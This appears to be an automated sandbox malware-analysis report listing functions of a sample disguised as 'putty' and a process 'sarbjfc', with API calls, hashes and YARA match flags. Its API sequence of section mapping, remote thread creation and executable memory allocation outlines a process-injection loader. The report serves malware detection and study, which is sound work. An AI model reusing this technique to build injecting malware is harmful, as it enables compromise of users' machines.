Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 00481A76 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00481AC7

Memory Dump Source

Source File: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_470000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 4a36f686e7771f8e781a141a1ff0dcd86aaac19c85aef2a1e9b5e21d59e23690
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 49116C79A00208EFCB01DF98C985E9CBBF5AF08351F058095F9489B362D375EA90DF80

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 00410E32 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410E69
___getlocaleinfo.LIBCMT ref: 00410E7E
___getlocaleinfo.LIBCMT ref: 00410E93
___getlocaleinfo.LIBCMT ref: 00410EA8
___getlocaleinfo.LIBCMT ref: 00410EC0
___getlocaleinfo.LIBCMT ref: 00410ED5
___getlocaleinfo.LIBCMT ref: 00410EE7
___getlocaleinfo.LIBCMT ref: 00410EFC
___getlocaleinfo.LIBCMT ref: 00410F14
___getlocaleinfo.LIBCMT ref: 00410F29

Memory Dump Source

Source File: 00000005.00000002.2335316510.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_putty.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction ID: 88e971658578b68865164239707bd76bcf5248923822aacfc0123a1835a67747
Opcode Fuzzy Hash: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction Fuzzy Hash: 17E101B390020DBEEF11DAE2CC85EFF77BDEB5474CF00092AB215D2050EA78AA459764

Function 004F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 004F09DC, 004F09DF, 004F09E4
., xrefs: 004F095F
l, xrefs: 004F0966

Memory Dump Source

Source File: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: ee8d9548c56cb374e40298a9480588cf3b25a9a1b09fae618662e7862dfbde42
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E3316EB6900609DFDB10CF99C880AAEBBF5FF48324F54404AD541A7312D7B5EA45CFA4

Function 00481694 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_470000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 946bb7b9b77b1d5a74fb323cb34260231e2924ec54c11fde3bcc4e4e630fad69
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AA1170727401009FD744DF55DCC1FAA73EEEB89320B29846AED05CB325E679E842C764

Function 004013CA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction ID: b4d99e39562e0a8d34f4e8a2adcb899dff0217260de8cdfa4497104cdd6e8b78
Opcode Fuzzy Hash: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction Fuzzy Hash: 7A117A22B1C21196E3179A918A460A97710DB11360B74C87BD493BB8F3C27D98066BCB

Function 004013D9 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction ID: 9c1a6264578523f2b95dbae5c8345fb03cc7a3f7f5b051fb9d7a91e089220ce3
Opcode Fuzzy Hash: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction Fuzzy Hash: 06118C27A1C20096E3179A90C6461A5B760DB12360B74887BD493778F3D17D58065BCF

Function 004013E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction ID: 7cced9f7fdb1c3f7b009c6269bf5343d8ea2104f00e9896e504acad3335f8aa1
Opcode Fuzzy Hash: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction Fuzzy Hash: 1811AB23F1C20056E3179F91C6460A8B760DB12360B748C7FD4826B8F7D27D98129BCB

Function 004013F0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction ID: 5938fd262c6d7fd7e9059b2c6d5fc66a7b7b37341f859f3ef56555a79cfd23f8
Opcode Fuzzy Hash: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction Fuzzy Hash: 0401AB33F1C20056E3179AA0C6860A9B760DB12360B74887BD482678F3D23D98025BCF

Function 004013F4 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction ID: 34643119912da5106e2d45a94dd8d32290489c90b68d507143b233416c26121d
Opcode Fuzzy Hash: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction Fuzzy Hash: A101BD23F2821055D71B9BA0C6860E8BB20DA12360B7489BBD052778F3D23C94028BCD

Function 004F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 2b3fd6cf4533f3a8e818fb1884d4457831b369b992358946cb87bab4cba5e53e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3701A7766016088FDF21CF64C904BBB33E5FBD6316F4544A6DA0697342E778A9418B94

Function 00401412 Relevance: .0, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000005.00000002.2335206448.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction ID: 94d0d6187efa1b4f5fb96639de9bee4adb18fcc7c1e699108f742e7c63bf3b1b
Opcode Fuzzy Hash: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction Fuzzy Hash: FF019953F2D64126D72B9FA086460D9BB20E9133B07748DBFD4A267CF7C274941487C9

Function 00414047 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00414122
_memset.LIBCMT ref: 00414142
___ansicp.LIBCMT ref: 00414199
___convertcp.LIBCMT ref: 004141BA

Part of subcall function 004143CF: _memset.LIBCMT ref: 004144C9

Strings

1BA, xrefs: 004141CB

Memory Dump Source

Source File: 00000005.00000002.2335316510.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_putty.jbxd

Similarity

API ID: _memset$___ansicp___convertcp_malloc
String ID: 1BA
API String ID: 182381717-427559476
Opcode ID: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction ID: c477a1a75e98c9aee6368b68bfaa6e784f79f85bafb577a3b4888ecfb962d632
Opcode Fuzzy Hash: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction Fuzzy Hash: 7051BE7550011AFFDB109FA5DC859EF3BA9EB98354B20453AFA04D7260D738CDE18B98

Function 0040D7A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040D7BE
__lock.LIBCMT ref: 0040D819
__lock.LIBCMT ref: 0040D83A

Strings

x$@, xrefs: 0040D7CA

Memory Dump Source

Source File: 00000005.00000002.2335316510.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_putty.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: x$@
API String ID: 946058739-580337868
Opcode ID: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction ID: f8475ee44d53d994f5b99ace5135e8e36cb9c777021c500f84fce444b4195f36
Opcode Fuzzy Hash: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction Fuzzy Hash: 7A119071940741EEE720AF769945B4ABBE0AF04318F10853FE4A9B72E1CB78A945CF5C

Function 0041827B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004182A1

Part of subcall function 004180C6: __fltout2.LIBCMT ref: 004180F2

__cftog_l.LIBCMT ref: 004182C7
__cftoe_l.LIBCMT ref: 004182F9

Memory Dump Source

Source File: 00000005.00000002.2335316510.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_putty.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 81a52edbc7f04b0b3beaf306ef0248834585fa557240606b8da63e4de76e0855
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5C117E3640054EBBCF135E84CC018EE3F22BB19354B18845AFE1859131CB3AC9B2EB89

Analysis Process: sarbjfcPID: 7848, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	96.9%
Signature Coverage:	0%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 005D003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005D024D

Strings

cess, xrefs: 005D018D
kernel32.dll, xrefs: 005D008F, 005D0095

Memory Dump Source

Source File: 00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5d0000_sarbjfc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: fc9b128c1f50d28fefb36c0545add9695854d6336b218cbceaeb3d9a397e2676
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7D526A74A01229DFDB64CF58C985BA8BBB1BF09314F1480DAE94DAB351DB30AE85DF14

Function 00551DB7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00551DDF
Module32First.KERNEL32(00000000,00000224), ref: 00551DFF

Memory Dump Source

Source File: 00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_540000_sarbjfc.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f1c57272fabd42fd63d265e4ac91a30392eb573b06218172ef30a9a99234f6b8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: ABF0F636100B116BD7203BF5A89DBAE7EFCBF49326F10052AEA42910C0CB70ED494664

Function 005D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005D0223,?,?), ref: 005D0E19
SetErrorMode.KERNELBASE(00000000,?,?,005D0223,?,?), ref: 005D0E1E

Memory Dump Source

Source File: 00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5d0000_sarbjfc.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: c5d6d6fa0513ea3056317b239f3eb2f6e5cae715dba88dd75ef451771bbf1679
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 47D0123114512877D7102A94DC09BCD7F1CDF05B62F008412FB0DD9180C770994046E5

Function 0040C3B1 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C3C6

Memory Dump Source

Source File: 00000010.00000002.2570063564.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_40b000_sarbjfc.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction ID: 94244e611b537c2edf94d5cca879c25ed5d218993ee5c4132b7c1dd7bdc8514f
Opcode Fuzzy Hash: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction Fuzzy Hash: 61D05E36590349AADB009FB27C097623BDCA385396F00C436B91CC6590F675C6809A08

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000010.00000002.2569995708.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_sarbjfc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

